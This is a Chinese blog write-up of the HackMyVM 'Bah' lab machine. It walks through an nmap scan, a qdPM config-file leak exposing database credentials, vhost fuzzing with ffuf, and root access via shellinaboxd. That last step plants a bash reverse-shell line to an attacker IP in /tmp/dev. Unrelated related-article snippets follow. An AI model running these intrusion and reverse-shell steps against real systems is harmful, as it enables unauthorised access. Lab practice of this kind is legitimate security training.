HackMyvm(一)BAH持续更新

news/2024/11/20 23:40:01/

HackMyVM:第一更 BAH

文章目录

  • 环境准备
  • 一、信息收集
  • 二、利用步骤
  • 三、权限提升


环境准备

环境地址:https://hackmyvm.eu/machines/machine.php?vm=Bah


一、信息收集

首先用Nmap扫描一下网段

nmap -sP 192.168.200.1-255  #扫网段

我这里用的是校园网,但是因为是虚拟机所以还是一眼看出来是哪台机器了
在这里插入图片描述
进一步收集端口信息

nmap -p 1-65535 192.168.200.57  #扫端口

扫到了80端口,应该有web服务
在这里插入图片描述
打开看一下,发现有版本信息,在漏洞库里搜索一下
在这里插入图片描述
这里使用的工具是exploit-db,这里面收集了很多漏洞信息,是一个漏洞库

./searchsploit qdPM  #模糊搜索

在这里插入图片描述
看一下漏洞内容
在这里插入图片描述
发现访问这个地址可能存在泄露
http://your-IP/core/config/databases.yml
下载到一个数据库文件
在这里插入图片描述
打开发现数据库连接账号与密码
在这里插入图片描述
连接成功
在这里插入图片描述

二、利用步骤

这里本来想到的是数据库提权,但是尝试了一下未果,就不写过程了
这个表里的URL很可疑,用ffuf进行模糊测试

ffuf -c -r -u http://192.168.200.57 -H "HOST: FUZZ"  -w url.txt

参数解释

-c                  Colorize output. (default: false) 彩色输出
-r                  Follow redirects (default: false)跟随重定向
-u                  Target URL 目标url
-H                 Header `"Name: Value"`, separated by colon. 这个应该指的是请求头中的HOST字段:
-w                  Wordlist file path and (optional) 指定字典

在这里插入图片描述明显party.bah.hmv长度要长一些,这个应该就是敏感页面了
这里有个小坑,我们需要把这个域名添加到host中然后指向它才能访问
在这里插入图片描述
在/home/rocio目录下发现user.txt,但是读取没权限,这个时候想起数据库中有账号密码,尝试切换一个账号登录
在这里插入图片描述
发现了rocio的登录密码
在这里插入图片描述
拿下第一个flag
在这里插入图片描述

三、权限提升

下一步进行提权,但是这里碰到了一点困难,我会的提权方式都无法提权,被迫看了WP
这里涉及到一个我以前不知道的知识点,在Linux中没有root权限是无法查看进程的,但是有一款命令工具可以在无权限的时候查看Linux进程 工具:pspy
首先在kali上开启http服务

python3 -m http.server

在这里插入图片描述
这里有个小知识点,在哪个目录打开的httpserver,根目录就在哪
下载文件

wget http://your-IP:8000/pspy64 

在这里插入图片描述
运行这个脚本

chmod +x pspy64
./pspy64

发现一个叫shellinaboxd的命令
在这里插入图片描述
我们可以查看一下他的手册

/usr/bin/shellinaboxd --help

在这里插入图片描述
翻译结果如下
在这里插入图片描述
这里是我自己的一些理解,不知道是否正确,欢迎大佬指出

/devel 对应命令中的APP,就是访问web界面下的party.bah.hmv/devel时,root账调用
/tmp/dev的命令
因此,这意味着在这个网络应用程序中的/devel会通过root账户调用/tmp/dev。这样的话,
我们能创建一个名字为dev的可执行脚本去给我们反弹一个shell,
我再在通过监听端口获取这个shell。

那么我们要做的就是在/tmp/下写一个叫dev的脚本来反弹shell就行了

nano dev  #

内容如下

bash -i >& /dev/tcp/192.168.200.241/9002 0>&1

写好之后给运行权限

chmod +x dev

访问http://party.bah.hmv/devel/即可反弹shell
拿下第二个flag
在这里插入图片描述

新人博主第一次发文,有错误之处多多海涵,欢迎各路大佬指出交流
请添加图片描述


http://www.ppmy.cn/news/690038.html

相关文章

moya

https://juejin.im/post/5ac2cf34f265da23a1421483 https://juejin.im/post/5a69e9f9f265da3e290c6782 转载于:https://www.cnblogs.com/feng9exe/p/10964762.html

MOEA\D

1,Erpim的博客:多目标优化_学习笔记(三)MOEA/D https://blog.csdn.net/qq_35414569/article/details/79655400 2,GryffindorHermione博客:基于分解的多目标进化算法(MOEA/D) https://blog.csdn.net/sina…

demoa

一、数据类型 奥术大师多驱蚊器翁Asdasd 阿达洒水多 a 10; print(a)百度

Modulo

题目描述 给出10个整数,问这些整数%42后有多少个不同的余数。 输入格式 输入包含10个小于1000的非负整数,每行一个。 输出格式 输出它们%42后,有多少个不同的余数。 样例输入 1 2 3 4 5 6 7 8 9 10 样例输出 10 样例输入 42 84 252 420 840 …

关于MOMODA的隐私权政策

1、android.permission.CAMERA,用于用户扫描二维码 2、android.permission.READ_PHONE_STATE,访问当前手机使用的系统语言,因为App后期需要拓展多语言支持,所以需要访问当前的系统语言,用于适配语言和请求服务器后服务…

MONO在中国

大名鼎鼎的开源跨平台开发框架MONO ,最近在中国越炒越火!前段时间 Unity3D 让MONO逐渐进入大家的视线!如今的Xamarin 更将要掀起一波浪潮! Unity3D 被国内某些培训机构 带入了大众的视线! Xamarin 如今也在某些地方悄…

DMA

DMA 控制器允许 Blackfin 或者外设指定数据传送操作&#xff0c;然后返回正常操作中。 DMA 控制器传送数据的过程独立于处理器的活动 。 DMA 控制器传送数据的方式有下面几种&#xff1a; l 存储器 <-> 存储器 &#xff08; MemDMA &#xff09;&#xff1b;…

【MSP432电机驱动设计—下篇】霍尔编码器测车轮运行距离与M/T综合公式法测速概念

开发板型号为MSP432P401r 今日得以继续我的MSP432电赛速通之路&#xff0c;本篇使用MSP432编程学习霍尔编码器M/T公式法测速概念&#xff0c;最终实现用外部中断方式测得小车行走路程&#xff0c;文章学习讲解原理、附上实例实践、附上关键代码、附上…